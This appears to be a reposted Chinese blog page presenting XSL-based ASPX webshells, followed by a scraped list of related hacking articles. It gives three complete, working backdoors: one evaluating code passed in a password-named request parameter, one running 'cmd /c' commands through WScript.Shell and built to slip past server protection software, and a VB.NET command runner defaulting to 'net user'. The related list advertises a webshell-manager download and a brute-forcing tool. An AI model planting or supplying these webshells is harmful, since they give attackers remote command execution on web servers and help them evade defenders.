(转)Xsl 的Webshell(aspx)版本
关于使用xsl的webshell以前已经有人发过了,比如aspx的一个webshell如下:
- <%@ Page Language="C#" Debug="true" %>
- <%@ import Namespace="System.IO"%>
- <%@ import Namespace="System.Xml"%>
- <%@ import Namespace="System.Xml.Xsl"%>
- <%
- string xml=@"<?xml version=""1.0""?><root>test</root>";
- string xslt=@"<?xml version='1.0'?>
- <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
- <msxsl:script language=""JScript"" implements-prefix=""zcg"">
- <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
- <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
- <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
- <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
- <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['backlion'],'unsafe');Response.End();}]]>
- </msxsl:script>
- <xsl:template match=""/root"">
- <xsl:value-of select=""zcg:xml()""/>
- </xsl:template>
- </xsl:stylesheet>";
- XmlDocument xmldoc=new XmlDocument();
- xmldoc.LoadXml(xml);
- XmlDocument xsldoc=new XmlDocument();
- xsldoc.LoadXml(xslt);
- XslCompiledTransform xct=new XslCompiledTransform();
- xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
- xct.Transform(xmldoc,null,new MemoryStream());
- %>
密码为 backlion,这个webshell是可以用菜刀连接的,测试碰到这种情况:服务器有安全狗等防护软件,提交的各种数据包可能会拦截,而现在想要做的就是执行命令就可以了,为了方便,写了一个命令执行的webshell,可回显,可改密码,具体代码如下:
- <%@page language="C#"%>
- <%@ import Namespace="System.IO"%>
- <%@ import Namespace="System.Xml"%>
- <%@ import Namespace="System.Xml.Xsl"%>
- <%
- string xml=@"<?xml version=""1.0""?><root>test</root>";
- string xslt=@"<?xml version='1.0'?>
- <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
- <msxsl:script language=""JScript"" implements-prefix=""zcg"">
- <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
- <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
- <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
- <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
- <![CDATA[function xml(){
- var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;
- var command = Request.Item['cmd'];
- var r = new ActiveXObject(""WScript.Shell"").Exec(""cmd /c ""+command);
- var OutStream = r.StdOut;
- var Str = """";
- while (!OutStream.atEndOfStream) {
- Str = Str + OutStream.readAll();
- }
- Response.Write(""<pre>""+Str+""</pre>"");
- }]]>
- </msxsl:script>
- <xsl:template match=""/root"">
- <xsl:value-of select=""zcg:xml()""/>
- </xsl:template>
- </xsl:stylesheet>";
- XmlDocument xmldoc=new XmlDocument();
- xmldoc.LoadXml(xml);
- XmlDocument xsldoc=new XmlDocument();
- xsldoc.LoadXml(xslt);
- XsltSettings xslt_settings = new XsltSettings(false, true);
- xslt_settings.EnableScript = true;
- try{
- XslCompiledTransform xct=new XslCompiledTransform();
- xct.Load(xsldoc,xslt_settings,new XmlUrlResolver());
- xct.Transform(xmldoc,null,new MemoryStream());
- }
- catch (Exception e){
- Response.Write("Error");
- }
- %>
密码为cmd
,可自己改,测试如下图:
附带一个大马里面的命令执行:
- <%@ Page Language="VB" Debug="true" %>
- <%@ import Namespace="system.IO" %>
- <%@ import Namespace="System.Diagnostics" %>
- <script runat="server">
- Sub RunCmd(Src As Object, E As EventArgs)
- Dim myProcess As New Process()
- Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
- myProcessStartInfo.UseShellExecute = false
- myProcessStartInfo.RedirectStandardOutput = true
- myProcess.StartInfo = myProcessStartInfo
- myProcessStartInfo.Arguments=xcmd.text
- myProcess.Start()
- Dim myStreamReader As StreamReader = myProcess.StandardOutput
- Dim myString As String = myStreamReader.Readtoend()
- myProcess.Close()
- mystring=replace(mystring,"<","<")
- mystring=replace(mystring,">",">")
- result.text= vbcrlf & "<pre>" & mystring & "</pre>"
- End Sub
- </script>
- <html>
- <body>
- <form runat="server">
- <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
- <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
- <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
- <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
- <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
- <p><asp:Label id="result" runat="server"></asp:Label>
- </form>
- </body>
- </html>
(转)Xsl 的Webshell(aspx)版本的更多相关文章
- Webshell 一句话木马
Webshell介绍 什么是 WebShell webshell就是以asp.php.jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门 由于 webshell其大多是 ...
- xise官方网站|XISE官网|xise最新版下载|超级XISE WBMS管理V12.0版本官方网站|
诠释: 1. 破解VIP登陆限制 2.去后门 (自查) 下载地址 :https://pan.baidu.com/s/1eR2rUOM 查毒地址:http://a.virscan.org/a3983f3 ...
- ASPX一句话爆破工具
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <stdli ...
- 应用安全-软件安全-漏洞CVE整理
jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...
- 【原创】冰蝎v3.0操作使用手册
写在前面 近期冰蝎更新了内网穿透模块中的一些功能,有不少朋友不知道参数怎么填,希望能出一个使用指导手册,就借这个机会写一个"说明书"(文中有大量演示动图,请耐心等待加载). 基本信 ...
- Ladon简单使用例子
Socks5代理扫描 例子:扫描目标10.1.2段是否存在MS17010漏洞(必须加noping) Ladon noping 10.1.2.8/24 MS17010 详见:http://k8gege. ...
- 没有login页面
"/"应用程序中的服务器错误. 无法找到资源. 说明:HTTP 404.您正在查找的资源(或者它的一个依赖项)可能已被移除,或其名称已更改,或暂时不可用.请检查以下 URL 并确保 ...
- SQL Server中tempdb的management
对<SQL Server中tempdb的management>的一些更正和补充 对<SQL Server中tempdb的management>的一些更正和补充 前几天看了这 ...
- .NET Core 2.0及.NET Standard 2.0
.NET Core 2.0的发布时间,.NET Core 2.0预览版及.NET Standard 2.0 Preview大概在5月中旬或下旬发布. .NET Core 2.0正式版本发布时间大约在Q ...
随机推荐
- 根据xml生成相应的对象类
根据xml生成相应的class对象,听起来很难其实很简单,用xsd.exe就能办到 打开vs 命令行运行xsd.exe 你的xml文件地址 空格/outputdir:存放xsd的地址 ok,这是生成了 ...
- rocketmq Lock failed,MQ already started -c参数
今天部署rocketmq集群时一台机器部署一个master 和slave,slave部署总是失败,通过查看日志显示下面的错误 java.lang.RuntimeException: Lock fail ...
- PKI(Public Key Infrastucture)介绍
PKI(Public Key Infrastucture)介绍 根据Wikipedia PKI词条整理. PKI(Public Key Infrastucture)是一系列的规则.策略以及过程,可以用 ...
- 微信小程序---scroll-view在苹果手机上触底或触顶页面闪动问题
在项目开发中遇到一个关于scroll-view的的问题,具体如下: 项目要求是横向滚动,由于直接在scroll-view组件设置display:flex不生效,因此考虑直接在scroll-view下增 ...
- hbase 修复 hbck
hbase 修复使用hbck 新版本的 hbck 可以修复各种错误,修复选项是: (1)-fix,向下兼容用,被-fixAssignments替代 (2)-fixAssignments,用于修复reg ...
- scrum立会报告+燃尽图(第三周第六次)
此作业要求参见:https://edu.cnblogs.com/campus/nenu/2018fall/homework/2286 项目地址:https://coding.net/u/wuyy694 ...
- 《JavaScript》函数
function foo(a,b){return a+b}//函数申明 var foo=function(){}//函数表达式赋值 var foo=new Function('a','b','retu ...
- Unicode 和 UTF-8 有何区别
作者:于洋链接:https://www.zhihu.com/question/23374078/answer/69732605来源:知乎著作权归作者所有,转载请联系作者获得授权. ========== ...
- 用vs调试项目的时候报HTTP 错误 403.14 - Forbidden
曾经遇到过这种诡异的问题,你一定想不到,这个可能是因为你用svn合并的时候,导致了你的dll文件出了问题. 竟然可以用主干的dll替换的方式,解决掉这个问题.
- 01.1 Windows环境下JDK安装与环境变量配置详细的图文教程
01.1 Windows环境下JDK安装与环境变量配置详细的图文教程 本节内容:JDK安装与环境变量配置 以下是详细步骤 一.准备工具: 1.JDK JDK 可以到官网下载 http://www.or ...